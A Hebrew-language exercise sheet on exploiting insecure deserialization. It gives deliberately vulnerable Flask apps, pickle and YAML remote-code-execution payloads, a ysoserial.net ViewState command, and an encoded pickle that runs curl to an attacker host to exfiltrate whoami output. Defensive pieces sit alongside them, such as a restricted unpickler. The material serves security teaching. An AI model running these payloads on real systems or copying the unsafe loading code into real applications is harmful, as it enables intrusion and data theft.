לדלג לתוכן

דסריאליזציה מתקדמת - Python ו-NET - תרגיל

תרגיל 1 - ניצול Python Pickle

רקע

נתונה האפליקציה הבאה:

from flask import Flask, request, make_response
import pickle
import base64

app = Flask(__name__)

@app.route('/')
def index():
    cookie = request.cookies.get('session_data')
    if cookie:
        try:
            data = pickle.loads(base64.b64decode(cookie))
            return f"Welcome back, {data.get('username', 'unknown')}!"
        except:
            return "Invalid session"

    # יצירת session חדש
    session = {'username': 'guest', 'role': 'user'}
    encoded = base64.b64encode(pickle.dumps(session)).decode()
    resp = make_response("New session created!")
    resp.set_cookie('session_data', encoded)
    return resp

@app.route('/admin')
def admin():
    cookie = request.cookies.get('session_data')
    if cookie:
        data = pickle.loads(base64.b64decode(cookie))
        if data.get('role') == 'admin':
            return "Welcome to admin panel!"
    return "Access denied", 403

if __name__ == '__main__':
    app.run(debug=True, port=5000)

משימות

  1. הריצו את האפליקציה מקומית
  2. קראו את ה-Cookie ופענחו אותו (Base64 ואז pickle)
  3. שנו את ה-role ל-admin כדי לגשת ל-/admin
  4. צרו Pickle payload שמריץ את הפקודה id על השרת
  5. צרו Pickle payload שקורא את /etc/passwd ושולח את התוכן לשרת שלכם

פתרון חלקי לסעיף 4

import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.system, ("id",))

payload = base64.b64encode(pickle.dumps(RCE())).decode()
print(f"Cookie value: {payload}")

# שלחו את ה-Cookie לאפליקציה:
# curl http://localhost:5000/ -b "session_data=PAYLOAD_HERE"

תרגיל 2 - ניצול YAML

רקע

נתונה אפליקציה שמקבלת קובץ תצורה ב-YAML:

from flask import Flask, request
import yaml

app = Flask(__name__)

@app.route('/configure', methods=['POST'])
def configure():
    config_text = request.form.get('config', '')
    try:
        config = yaml.load(config_text, Loader=yaml.FullLoader)
        return f"Configuration applied: {config}"
    except Exception as e:
        return f"Error: {str(e)}", 400

if __name__ == '__main__':
    app.run(debug=True, port=5001)

משימות

  1. שלחו תצורת YAML תקינה ובדקו שהאפליקציה עובדת
  2. נסו payload של YAML RCE:
!!python/object/apply:os.system
- "id"
  1. האם ה-payload עובד? אם לא - חקרו מדוע (רמז: yaml.FullLoader לעומת yaml.UnsafeLoader)
  2. מצאו payload שעובד עם FullLoader (רמז: חפשו CVEs ב-PyYAML FullLoader bypass)
  3. הציעו תיקון לקוד

תרגיל 3 - PortSwigger Deserialization Labs

משימה

השלימו את המעבדות הבאות:

Exploiting insecure deserialization to bypass access controls
https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-modifying-serialized-objects

שלבים מנחים

  1. התחברו עם ההרשאות הנתונות
  2. בדקו את ה-Cookie - מצאו את האובייקט המסורלז (PHP serialized format)
  3. שנו את שדה ה-admin מ-0 ל-1
  4. קודדו מחדש ב-Base64
  5. גשו לפאנל הניהול

תרגיל 4 - בניית כלי זיהוי

משימה

כתבו סקריפט Python שמזהה סוגי סריאליזציה בתעבורת HTTP:

#!/usr/bin/env python3
"""
Deserialization Format Detector
"""
import base64
import sys
import re

def detect_format(data_string):
    """
    מקבל מחרוזת (אולי Base64) ומזהה את פורמט הסריאליזציה
    """
    results = []

    # TODO: נסו לפענח Base64
    try:
        decoded = base64.b64decode(data_string)
    except:
        decoded = data_string.encode() if isinstance(data_string, str) else data_string

    # TODO: בדקו Java serialization (AC ED 00 05)

    # TODO: בדקו Python pickle (0x80 0x02-0x05)

    # TODO: בדקו .NET BinaryFormatter (00 01 00 00)

    # TODO: בדקו PHP serialized (O:4:"User":2:{...})

    # TODO: בדקו .NET ViewState

    # TODO: בדקו Ruby Marshal (04 08)

    return results

def scan_http_request(request_text):
    """
    סריקת בקשת HTTP מלאה
    """
    findings = []

    # TODO: חלצו cookies, פרמטרים, headers
    # TODO: בדקו כל ערך עם detect_format

    return findings

if __name__ == "__main__":
    # קבלת קלט
    if len(sys.argv) > 1:
        data = sys.argv[1]
    else:
        data = input("Enter data to analyze: ")

    results = detect_format(data)
    for r in results:
        print(f"[+] Detected: {r}")

דרישות

  1. זיהוי של לפחות 5 פורמטים שונים
  2. תמיכה בקלט Base64 ו-raw
  3. הצעת כלי ניצול מתאים לכל פורמט שנמצא
  4. הדפסת המלצות הגנה

תרגיל 5 - NET ViewState

רקע

מצאתם אפליקציית ASP.NET עם ה-web.config הבא:

<machineKey
  validationKey="AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAABBBB"
  decryptionKey="AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFAAAA"
  validation="SHA1"
  decryption="AES" />

משימות

  1. מה המשמעות של Machine Key חשוף?
  2. כיצד תשתמשו ב-ysoserial.net כדי ליצור ViewState זדוני?
  3. כתבו את הפקודה המלאה ליצירת payload
  4. הסבירו כיצד תשלחו את ה-payload לאפליקציה
  5. מה ההגנות שצריך ליישם?

תשובה חלקית

# יצירת ViewState payload
ysoserial.exe -p ViewState \
  -g TextFormattingRunProperties \
  -c "powershell -enc ENCODED_COMMAND" \
  --validationalg="SHA1" \
  --validationkey="AAAA..." \
  --decryptionalg="AES" \
  --decryptionkey="AAAA..." \
  --path="/default.aspx" \
  --apppath="/"

תרגיל 6 - Pickle Protocol Analysis

משימה

נתח את ה-payload הבא וענה על השאלות:

gASVRAAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCljdXJsIGh0dHA6Ly9hdHRhY2tlci5jb20vP2Q9JCh3aG9hbWkplIWUUpQu

שאלות

  1. מה פורמט ה-payload? (רמז: Base64)
  2. פענחו את ה-Base64 וזהו את ה-pickle protocol version
  3. מה הפקודה שה-payload מריץ?
  4. באיזה מודול Python הוא משתמש?
  5. כתבו את קוד ה-Python שייצר את ה-payload הזה
  6. כתבו גרסה מאובטחת של קוד שמפענח pickle עם whitelist של מחלקות מותרות:
import pickle
import io

class RestrictedUnpickler(pickle.Unpickler):
    ALLOWED_CLASSES = {
        # TODO: הגדירו מחלקות מותרות
    }

    def find_class(self, module, name):
        if (module, name) in self.ALLOWED_CLASSES:
            return self.ALLOWED_CLASSES[(module, name)]
        raise pickle.UnpicklingError(
            f"Class {module}.{name} is not allowed"
        )

def safe_loads(data):
    return RestrictedUnpickler(io.BytesIO(data)).load()

תרגיל בונוס - CTF מותאם

תרחיש

אתם חוקרי אבטחה שנשכרו לבדוק אפליקציית Flask. מצאתם את נקודות הכניסה הבאות:

POST /api/import - מקבל קובץ pickle (Content-Type: application/octet-stream)
POST /api/config - מקבל YAML
GET /api/export?format=pickle - מחזיר נתונים ב-pickle
Cookie: user_session=<base64 encoded pickle>

משימות

  1. בדקו כל נקודת כניסה - האם היא פגיעה?
  2. צרו PoC (Proof of Concept) לכל חולשה שמצאתם
  3. השיגו RCE דרך לפחות אחת מנקודות הכניסה
  4. כתבו דוח שמסכם את הממצאים עם המלצות תיקון

סביבות תרגול נוספות

  • PortSwigger: כל מעבדות Deserialization
  • HackTheBox: מכונות עם תגית Deserialization
  • TryHackMe: "Insecure Deserialization" room
  • PentesterLab: "Pickle" challenge
  • Root Me: Python pickle challenges